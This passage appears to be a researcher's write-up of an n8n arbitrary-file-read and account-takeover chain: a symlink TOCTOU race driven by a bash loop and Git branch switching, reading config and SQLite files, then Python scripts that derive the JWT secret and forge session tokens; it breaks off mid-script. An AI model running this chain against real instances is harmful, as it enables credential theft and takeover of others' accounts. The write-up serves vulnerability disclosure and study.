<p>The vulnerability lays in the fact that fsAccess and fs.createReadStream does resolve symlinks, but the isFilePathBlocked function uses resolve which doesn’t.</p>

<p>If an attacker provides /home/node/pwn/passwd as a pathfile to the Read/Write file node, where pwn is a symlink pointing to /etc:</p>
<ul>
  <li>fsAccess returns true, because /etc/passwd exists (symlink resolved).</li>
  <li>isFilePathBlocked returns false, because /home/node/pwn/passwd is not in a forbidden directory (symlink not resolved).</li>
  <li>fs.createReadStream is created with the path /etc/passwd (symlink resolved).</li>
</ul>

<p>With the fix, fsRealpath is used instead of resolve which does resolve symlinks. In the previous scenario, isFilePathBlocked now returns true because /etc/passwd is in a forbidden directory.</p>

<h2 id="toctou">TOCTOU</h2>
<p>The fix is working as intented, but something may have caught your eye like it did for me in the createReadStream function.</p>

<p>The 3 different symlink resolutions happen at 3 different times, opening up the possibility of a TOCTOU (Time-of-check vs Time-of-use) vulnerability.
If we change what the symlink is pointing to between those moments, all 3 checks would be against different files.</p>

<p>The attack scenario would look like this with the pathFile /home/node/pwn/passwd:</p>
<ul>
  <li>Symlink pwn points to /etc.</li>
  <li>fsAccess resolves to /etc/passwd and returns true (it also works if /home/node/passwd exists and pwn points to /home/node).</li>
  <li>Symlink changes and points to /home/node.</li>
  <li>isFilePathBlocked resolves to /home/node/passwd and returns false because it is allowed.</li>
  <li>Symlink changes and points to /etc.</li>
  <li>fs.createReadStream resolves to /etc/passwd and returns a ReadStream to this file.</li>
</ul>

<p>I first tested this on a self-hosted docker instance where I launched a simple bash script that repeatedly modifies a symlink between 2 destinations:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>
<span class="k">while </span><span class="nb">true
</span><span class="k">do
</span><span class="nb">rm </span>pwn
<span class="nb">ln</span> <span class="nt">-s</span> /home/node pwn
<span class="nb">rm </span>pwn
<span class="nb">ln</span> <span class="nt">-s</span> /etc pwn
<span class="k">done</span>
</code></pre></div></div>

<p>I then made a workflow which forever tries to exploit this race condition and only stop when the forbidden file is retrieved, or after a timeout:</p>

<p><img src="/writeups/articles/WriteupNo0005/readfile.png" alt="Readfile workflow" /></p>

<p>We can note that the “Write dummy file to /home/node” node creates an empty file at /home/node/passwd in order to always pass the fsAccess check, making the race condition more likely to happen.</p>

<p>By launching the bash script and then the workflow, the file is read after only a few seconds and around 10 to 20 loops.</p>

<h2 id="symlinks-management">Symlinks management</h2>
<p>In order to really achieve this arbitrary read file vulnerability, the symlink quick change needs to be done from n8n.</p>

<p>Git is the perfect candidate for this: it can handle symlinks and its branches can be used to switch between two directories.</p>

<p>After setting up a Github repository (named n8n_ATO) with just one symlink named pwn, pointing to /etc in main branch and to /home/node in second branch, we can clone it to /home/node/n8n_ATO on the local filesystem with the Git Clone node.</p>

<p>This workflow will repeatedly switch between the 2 branches until it timeouts:</p>

<p><img src="/writeups/articles/WriteupNo0005/git.png" alt="Git workflow" /></p>

<p>The readfile workflow needs to be updated to try to access the /home/node/n8n_ATO/passwd file.</p>

<p>Now by launching the git workflow and then the readfile workflow, the file read is achieved roughly after the same delay.</p>

<p>By changing the file accessed and the forbidden directory pointed by the symlink, any file that the user running n8n (node) has access to can be read.</p>

<h1 id="enhance-impact">Enhance impact</h1>
<h2 id="jwt-forging">JWT Forging</h2>
<p>Arbitrary File Read is done, let’s see if we can escalate it further than the original report (spoiler: we can).</p>

<p>In parallel to this race condition, I did some source code reading on how n8n manages sessions.
It uses signed JWT as defined in <a href="https://github.com/n8n-io/n8n/blob/master/packages/cli/src/auth/auth.service.ts">auth.service.ts</a>:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">interface</span> <span class="nx">AuthJwtPayload</span> <span class="p">{</span>
	<span class="cm">/** User Id */</span>
	<span class="nl">id</span><span class="p">:</span> <span class="kr">string</span><span class="p">;</span>
	<span class="cm">/** This hash is derived from email and bcrypt of password */</span>
	<span class="nl">hash</span><span class="p">:</span> <span class="kr">string</span><span class="p">;</span>
	<span class="cm">/** This is a client generated unique string to prevent session hijacking */</span>
	<span class="nl">browserId</span><span class="p">?:</span> <span class="kr">string</span><span class="p">;</span>
	<span class="cm">/** This indicates if mfa was used during the creation of this token */</span>
	<span class="nl">usedMfa</span><span class="p">?:</span> <span class="nx">boolean</span><span class="p">;</span>
<span class="p">}</span>

<span class="p">[...]</span>

<span class="nx">issueJWT</span><span class="p">(</span><span class="nx">user</span><span class="p">:</span> <span class="nx">User</span><span class="p">,</span> <span class="nx">usedMfa</span><span class="p">:</span> <span class="nx">boolean</span> <span class="o">=</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">browserId</span><span class="p">?:</span> <span class="kr">string</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">const</span> <span class="nx">payload</span><span class="p">:</span> <span class="nx">AuthJwtPayload</span> <span class="o">=</span> <span class="p">{</span>
		<span class="na">id</span><span class="p">:</span> <span class="nx">user</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span>
		<span class="na">hash</span><span class="p">:</span> <span class="k">this</span><span class="p">.</span><span class="nx">createJWTHash</span><span class="p">(</span><span class="nx">user</span><span class="p">),</span>
		<span class="na">browserId</span><span class="p">:</span> <span class="nx">browserId</span> <span class="o">&amp;&amp;</span> <span class="k">this</span><span class="p">.</span><span class="nx">hash</span><span class="p">(</span><span class="nx">browserId</span><span class="p">),</span>
		<span class="nx">usedMfa</span><span class="p">,</span>
	<span class="p">};</span>
	<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">jwtService</span><span class="p">.</span><span class="nx">sign</span><span class="p">(</span><span class="nx">payload</span><span class="p">,</span> <span class="p">{</span>
		<span class="na">expiresIn</span><span class="p">:</span> <span class="k">this</span><span class="p">.</span><span class="nx">jwtExpiration</span><span class="p">,</span>
	<span class="p">});</span>
<span class="p">}</span>

<span class="p">[...]</span>

<span class="nx">createJWTHash</span><span class="p">({</span> <span class="nx">email</span><span class="p">,</span> <span class="nx">password</span><span class="p">,</span> <span class="nx">mfaEnabled</span><span class="p">,</span> <span class="nx">mfaSecret</span> <span class="p">}:</span> <span class="nx">User</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">const</span> <span class="nx">payload</span> <span class="o">=</span> <span class="p">[</span><span class="nx">email</span><span class="p">,</span> <span class="nx">password</span><span class="p">];</span>
	<span class="k">if</span> <span class="p">(</span><span class="nx">mfaEnabled</span> <span class="o">&amp;&amp;</span> <span class="nx">mfaSecret</span><span class="p">)</span> <span class="p">{</span>
		<span class="nx">payload</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">mfaSecret</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">3</span><span class="p">));</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">hash</span><span class="p">(</span><span class="nx">payload</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">:</span><span class="dl">'</span><span class="p">)).</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">private</span> <span class="nx">hash</span><span class="p">(</span><span class="nx">input</span><span class="p">:</span> <span class="kr">string</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="nx">createHash</span><span class="p">(</span><span class="dl">'</span><span class="s1">sha256</span><span class="dl">'</span><span class="p">).</span><span class="nx">update</span><span class="p">(</span><span class="nx">input</span><span class="p">).</span><span class="nx">digest</span><span class="p">(</span><span class="dl">'</span><span class="s1">base64</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In order to create a valid JWT, 6 pieces of information are needed:</p>
<ul>
  <li>User Id.</li>
  <li>User email.</li>
  <li>User bcrypt encrypted password.</li>
  <li>MFA secret if mfa has been used.</li>
  <li>browserId.</li>
  <li>JWT signature secret.</li>
</ul>

<p>All 4 first components are present in the database, more precisely in the user table:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sqlite</span><span class="o">&gt;</span> <span class="n">PRAGMA</span> <span class="n">table_info</span><span class="p">(</span><span class="k">user</span><span class="p">);</span>
<span class="mi">0</span><span class="o">|</span><span class="n">id</span><span class="o">|</span><span class="nb">varchar</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">1</span>
<span class="mi">1</span><span class="o">|</span><span class="n">email</span><span class="o">|</span><span class="nb">varchar</span><span class="p">(</span><span class="mi">255</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">2</span><span class="o">|</span><span class="n">firstName</span><span class="o">|</span><span class="nb">varchar</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">3</span><span class="o">|</span><span class="n">lastName</span><span class="o">|</span><span class="nb">varchar</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">4</span><span class="o">|</span><span class="n">password</span><span class="o">|</span><span class="nb">varchar</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">5</span><span class="o">|</span><span class="n">personalizationAnswers</span><span class="o">|</span><span class="nb">TEXT</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">6</span><span class="o">|</span><span class="n">createdAt</span><span class="o">|</span><span class="nb">datetime</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="n">STRFTIME</span><span class="p">(</span><span class="s1">'%Y-%m-%d %H:%M:%f'</span><span class="p">,</span> <span class="s1">'NOW'</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span>
<span class="mi">7</span><span class="o">|</span><span class="n">updatedAt</span><span class="o">|</span><span class="nb">datetime</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="n">STRFTIME</span><span class="p">(</span><span class="s1">'%Y-%m-%d %H:%M:%f'</span><span class="p">,</span> <span class="s1">'NOW'</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span>
<span class="mi">8</span><span class="o">|</span><span class="n">settings</span><span class="o">|</span><span class="nb">TEXT</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">9</span><span class="o">|</span><span class="n">disabled</span><span class="o">|</span><span class="nb">boolean</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="k">FALSE</span><span class="o">|</span><span class="mi">0</span>
<span class="mi">10</span><span class="o">|</span><span class="n">mfaEnabled</span><span class="o">|</span><span class="nb">boolean</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="k">FALSE</span><span class="o">|</span><span class="mi">0</span>
<span class="mi">11</span><span class="o">|</span><span class="n">mfaSecret</span><span class="o">|</span><span class="nb">TEXT</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">12</span><span class="o">|</span><span class="n">mfaRecoveryCodes</span><span class="o">|</span><span class="nb">TEXT</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">13</span><span class="o">|</span><span class="n">lastActiveAt</span><span class="o">|</span><span class="nb">date</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span>
<span class="mi">14</span><span class="o">|</span><span class="n">roleSlug</span><span class="o">|</span><span class="nb">varchar</span><span class="p">(</span><span class="mi">128</span><span class="p">)</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="s1">'global:member'</span><span class="o">|</span><span class="mi">0</span>
</code></pre></div></div>

<p>sqlite is the default database format of n8n, and it is kept in the file /home/node/.n8n/database.sqlite.</p>

<p>The browserId can be arbitrary set.</p>

<p>And the JWT signature secret is defined in <a href="https://github.com/n8n-io/n8n/blob/master/packages/cli/src/services/jwt.service.ts">jwt.service.ts</a>:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">constructor</span><span class="p">({</span> <span class="nx">encryptionKey</span> <span class="p">}:</span> <span class="nx">InstanceSettings</span><span class="p">,</span> <span class="nx">globalConfig</span><span class="p">:</span> <span class="nx">GlobalConfig</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">this</span><span class="p">.</span><span class="nx">jwtSecret</span> <span class="o">=</span> <span class="nx">globalConfig</span><span class="p">.</span><span class="nx">userManagement</span><span class="p">.</span><span class="nx">jwtSecret</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">this</span><span class="p">.</span><span class="nx">jwtSecret</span><span class="p">)</span> <span class="p">{</span>
			<span class="c1">// If we don't have a JWT secret set, generate one based on encryption key.</span>
			<span class="c1">// For a key off every other letter from encryption key</span>
			<span class="c1">// CAREFUL: do not change this or it breaks all existing tokens.</span>
			<span class="kd">let</span> <span class="nx">baseKey</span> <span class="o">=</span> <span class="dl">''</span><span class="p">;</span>
			<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">encryptionKey</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
				<span class="nx">baseKey</span> <span class="o">+=</span> <span class="nx">encryptionKey</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
			<span class="p">}</span>
			<span class="k">this</span><span class="p">.</span><span class="nx">jwtSecret</span> <span class="o">=</span> <span class="nx">createHash</span><span class="p">(</span><span class="dl">'</span><span class="s1">sha256</span><span class="dl">'</span><span class="p">).</span><span class="nx">update</span><span class="p">(</span><span class="nx">baseKey</span><span class="p">).</span><span class="nx">digest</span><span class="p">(</span><span class="dl">'</span><span class="s1">hex</span><span class="dl">'</span><span class="p">);</span>
			<span class="nx">Container</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">GlobalConfig</span><span class="p">).</span><span class="nx">userManagement</span><span class="p">.</span><span class="nx">jwtSecret</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">jwtSecret</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>
</code></pre></div></div>
<p>It is derived from the encryptionKey, which is stocked in the /home/node/.n8n/config file.</p>

<h2 id="0-click-ato">0-Click ATO</h2>
<p>By retrieving these 2 files, we can forge any valid JWT and achieve Account Take Over. At least in theory, because when I tried to replicate this on a fresh cloud instance, I found an almost empty database.</p>

<p>After further testing, I found out that I was tricked by the WAL (Write Ahead Logging) functionality of SQLite: changes to the database may not be instantly committed to the database.sqlite file, so in this case it contained no information about the owner account.</p>

<p>I needed to repeat the arbitrary read to download the /home/node/.n8n/database.sqlite-wal file, which contains non-committed changes.</p>

<p>With both files in the same directory, opening the sqlite file with sqlite3 database.sqlite and fetching user data with <code class="language-plaintext highlighter-rouge">SELECT id, email, password, mfaEnabled, mfaSecret FROM user;</code> will automatically commit all the changes.</p>

<p>Here are the python scripts I used for the POC:</p>
<ul>
  <li>jwt_from_encryption.py that derives the JWT secret from the encryption key</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">argparse</span>

<span class="k">def</span> <span class="nf">derive_jwt_secret</span><span class="p">(</span><span class="n">encryption_key</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">base_key</span> <span class="o">=</span> <span class="n">encryption_key</span><span class="p">[::</span><span class="mi">2</span><span class="p">]</span>
    <span class="k">return</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">base_key</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">hexdigest</span><span class="p">()</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s">"Derive JWT secret from encryption key."</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span>
        <span class="s">"encryption_key"</span><span class="p">,</span>
        <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span>
        <span class="n">help</span><span class="o">=</span><span class="s">"Encryption key used to derive the JWT secret."</span>
    <span class="p">)</span>

    <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>

    <span class="n">jwt_secret</span> <span class="o">=</span> <span class="n">derive_jwt_secret</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">encryption_key</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">jwt_secret</span><span class="p">)</span>
</code></pre></div></div>

<p>Usage: <code class="language-plaintext highlighter-rouge">python3 jwt_from_encryption.py "&lt;encryption_key&gt;"</code></p>

<ul>
  <li>jwt_sign.py that creates and sign the JWT from all needed information</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">jwt</span>
<span class="kn">import</span> <span class="nn">datetime</span>
<span class="kn">import</span> <span class="nn">argparse</span>

<span class="k">class</span> <span class="nc">AuthService</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">jwt_secret</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">jwt_expiration</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">jwt_algorithm</span><span class="o">=</span><span class="s">"HS256"</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">jwt_secret</span> <span class="o">=</span> <span class="n">jwt_secret</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">jwt_algorithm</span> <span class="o">=</span> <span class="n">jwt_algorithm</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">jwt_expiration</span> <span class="o">=</span> <span class="n">jwt_expiration</span>

    <span class="k">def</span> <span class="nf">hash</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">input_str</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="kn">import</span> <span class="nn">hashlib</span><span class="p">,</span> <span class="n">base64</span>
        <span class="n">digest</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">input_str</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span>
        <span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">digest</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">create_jwt_hash</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">user</span><span class="p">):</span>
        <span class="kn">import</span> <span class="nn">hashlib</span><span class="p">,</span> <span class="n">base64</span>
        <span class="n">email</span> <span class="o">=</span> <span class="n">user</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"email"</span><span class="p">)</span>
        <span class="n">password</span> <span class="o">=</span> <span class="n">user</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"password"</span><span class="p">)</span>
        <span class="n">mfa_enabled</span> <span class="o">=</span> <span class="n">user</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"mfaEnabled"</span><span class="p">)</span>
        <span class="n">mfa_secret</span> <span class="o">=</span> <span class="n">user</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"mfaSecret"</span><span class="p">)</span>

        <span class="n">payload</span> <span class="o">=</span> <span class="p">[</span><span class="n">email</span><span class="p">,</span> <span class="n">password</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">mfa_enabled</span> <span class="ow">and</span> <span class="n">mfa_secret</span><span class="p">:</span>
            <span class="n">payload</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">mfa_secret</span><span class="p">[:</span><span class="mi">3</span><span class="p">])</span>

        <span class="n">sha</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="s">":"</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">payload</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span>
        <span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">sha</span><span class="p">)[:</span><span class="mi">10</span><span class="p">].</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">_parse_expiration</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">exp</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">:</span>
        <span class="n">value</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">exp</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        <span class="n">unit</span> <span class="o">=</span> <span class="n">exp</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

        <span class="n">match</span> <span class="n">unit</span><span class="p">:</span>
            <span class="n">case</span> <span class="s">"s"</span><span class="p">:</span> <span class="k">return</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">seconds</span><span class="o">=</span><span class="n">value</span><span class="p">)</span>
            <span class="n">case</span> <span class="s">"m"</span><span class="p">:</span> <span class="k">return</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">minutes</span><span class="o">=</span><span class="n">value</span><span class="p">)</span>
            <span class="n">case</span> <span class="s">"h"</span><span class="p">:</span> <span class="k">return</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="n">value</span><span class="p">)</span>
            <span class="n">case</span> <span class="s">"d"</span><span class="p">:</span> <span class="k">return</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="n">value</span><span class="p">)</span>
            <span class="n">case</span> <span class="n">_</span><span class="p">:</span>   <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"Expiration must end with s/m/h/d"</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">issue_jwt</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">used_mfa</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="bp">False</span><span class="p">,</span> <span class="n">browser_id</span><span class="p">:</span> <span class="nb">str</span> <span class="o">|</span> <span class="bp">None</span> <span class="o">=</span> <span class="bp">None</span><span class="p">):</span>
        <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
            <span class="s">"id"</span><span class="p">:</span> <span class="n">user</span><span class="p">[</span><span class="s">"id"</span><span class="p">],</span>
            <span class="s">"hash"</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">create_jwt_hash</span><span class="p">(</span><span class="n">user</span><span class="p">),</span>
            <span class="s">"browserId"</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="nb">hash</span><span class="p">(</span><span class="n">browser_id</span><span class="p">)</span> <span class="k">if</span> <span class="n">browser_id</span> <span class="k">else</span> <span class="bp">None</span><span class="p">,</span>
            <span class="s">"usedMfa"</span><span class="p">:</span> <span class="n">used_mfa</span><span class="p">,</span>
            <span class="s">"exp"</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcnow</span><span class="p">()</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">_parse_expiration</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">jwt_expiration</span><span class="p">),</span>
        <span class="p">}</span>
        <span class="k">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">jwt_secret</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="bp">self</span><span class="p">.</span><span class="n">jwt_algorithm</span><span class="p">)</span>


<span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s">"Generate JWT from AuthService"</span><span class="p">)</span>

<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--jwt-secret"</span><span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"JWT secret key"</span><span class="p">)</span>
<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--jwt-expiration"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s">"1h"</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Expiration (e.g., 20m, 1h)"</span><span class="p">)</span>

<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--id"</span><span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"User ID"</span><span class="p">)</span>
<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--email"</span><span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"User email"</span><span class="p">)</span>
<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--password"</span><span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"User password"</span><span class="p">)</span>

<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--mfa-enabled"</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s">"store_true"</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Set MFA enabled"</span><span class="p">)</span>
<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--mfa-secret"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"MFA secret key"</span><span class="p">)</span>

<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--used-mfa"</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s">"store_true"</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Mark that MFA was used"</span><span class="p">)</span>
<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--browser-id"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Browser ID"</span><span class="p">)</span>

<span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>

<span class="n">user</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"id"</span><span class="p">:</span> <span class="n">args</span><span class="p">.</span><span class="nb">id</span><span class="p">,</span>
    <span class="s">"email"</span><span class="p">:</span> <span class="n">args</span><span class="p">.</span><span class="n">email</span><span class="p">,</span>
    <span class="s">"password"</span><span class="p">:</span> <span class="n">args</span><span class="p">.</span><span class="n">password</span><span class="p">,</span>
    <span class="s">"mfaEnabled"</span><span class="p">:</span> <span class="n">args</span><span class="p">.</span><span class="n">mfa_enabled</span><span class="p">,</span>
    <span class="s">"mfaSecret"</span><span class="p">:</span> <span class="n">args</span><span class="p">.</span><span class="n">mfa_secret</span>
<span class="p">}</span>

<span class="n">service</span> <span class="o">=</span> <span class="n">AuthService</span><span class="p">(</span><span class="n">jwt_secret</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">jwt_secret</span><span class="p">,</span> <span class="n">jwt_expiration</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">jwt_expiration</span><span class="p">)</span>

<span class="n">token</span> <span class="o">=</span> <span class="n">service</span><span class="p">.</span><span class="n">issue_jwt</span><span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="n">used_mfa</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">used_mfa</span><span class="p">,</span> <span class="n">browser_id</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">browser_id</span><span class="p">)</span>
